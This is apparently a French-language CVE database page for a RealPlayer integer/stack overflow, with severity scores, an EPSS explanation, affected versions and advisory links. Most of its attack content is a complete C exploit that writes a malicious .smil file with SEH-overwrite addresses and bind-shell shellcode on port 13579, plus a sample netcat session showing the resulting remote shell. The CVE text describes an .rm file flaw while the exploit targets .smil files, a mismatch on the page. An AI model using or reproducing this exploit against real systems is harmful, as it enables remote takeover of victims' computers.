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Descriptions du CVE
Integer overflow in RealNetworks RealPlayer 8, 10, and 10.5, RealOne Player 1 and 2, and Helix Player 10.0.0 allows remote attackers to execute arbitrary code via an .rm movie file with a large value in the length field of the first data packet, which leads to a stack-based buffer overflow, a different vulnerability than CVE-2004-1481.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5.1 | AV:N/AC:H/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 26497
Date de publication : 2005-11-09 23h00 +00:00
Auteur : nolimit
EDB Vérifié : Yes
/*
source: https://www.securityfocus.com/bid/15381/info
RealNetworks RealPlayer and RealOne Player are reported prone to a remote stack-based buffer-overflow vulnerability. The applications fail to perform boundary checks when parsing RM (Real Media) files. A remote attacker may execute arbitrary code on a vulnerable computer to gain unauthorized access.
This vulnerability is reported to occur in RealNetworks products for Microsoft Windows, Linux, and Apple Mac platforms.
*/
/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.
C:\tools>nc -vv SERVER 1554
SERVER [192.168.1.93] 1554 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Real\RealPlayer>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
" <head>\n"
" <layout>\n"
" <region id=\"a\" top=\"5\" />\n"
" </layout>\n"
" </head>\n"
" <body>\n"
" <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";
char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";
char end[]=
" </body>"
"</smil>";
char overflow[1700];
int main(int argc,char *argv[])
{
FILE *vuln;
if(argc == 1)
{
printf("RealPlayer 10 .smil file local buffer overflow.\n");
printf("Coded by nolimit & buzzdee.\n");
printf("Usage: %s <outputfile>\n",argv[0]);
return 1;
}
vuln = fopen(argv[1],"w");
//build overflow buffer here.
memset(overflow,0x90,sizeof(overflow)); //fill with nops
memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal...^^)
memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in
if(vuln)
{
//Write file
fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
fclose(vuln);
}
printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
return 0;
}
Products Mentioned
Configuraton 0
Realnetworks>>Helix_player >> Version 1.0
Realnetworks>>Helix_player >> Version 1.0.1
Realnetworks>>Helix_player >> Version 1.0.2
Realnetworks>>Helix_player >> Version 1.0.3
Realnetworks>>Helix_player >> Version 1.0.4
Realnetworks>>Helix_player >> Version 1.0.5
Realnetworks>>Realone_player >> Version 1.0
- Realnetworks>>Realone_player >> Version 1.0 (Open CPE detail)
Realnetworks>>Realone_player >> Version 2.0
- Realnetworks>>Realone_player >> Version 2.0 (Open CPE detail)
Realnetworks>>Realplayer >> Version *
- Realnetworks>>Realplayer >> Version 2.1.2 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 2.1.3 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 2.1.4 (Open CPE detail)
Realnetworks>>Realplayer >> Version 8.0
Realnetworks>>Realplayer >> Version 10.0
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
- Realnetworks>>Realplayer >> Version 10.0 (Open CPE detail)
Realnetworks>>Realplayer >> Version 10.0
Realnetworks>>Realplayer >> Version 10.0
Realnetworks>>Realplayer >> Version 10.5
- Realnetworks>>Realplayer >> Version 10.5 (Open CPE detail)
Realnetworks>>Realplayer >> Version 10.5_6.0.12.1040
- Realnetworks>>Realplayer >> Version 10.5_6.0.12.1040 (Open CPE detail)
Realnetworks>>Realplayer >> Version 10.5_6.0.12.1053
Realnetworks>>Realplayer >> Version 10.5_6.0.12.1056
Realnetworks>>Realplayer >> Version 10.5_6.0.12.1059
Realnetworks>>Realplayer >> Version 10.5_6.0.12.1069
Realnetworks>>Realplayer >> Version 10.5_6.0.12.1235
Références
http://www.eeye.com/html/research/advisories/AD20051110a.html
Tags : third-party-advisory, x_refsource_EEYE
Tags : third-party-advisory, x_refsource_EEYE
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9550
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
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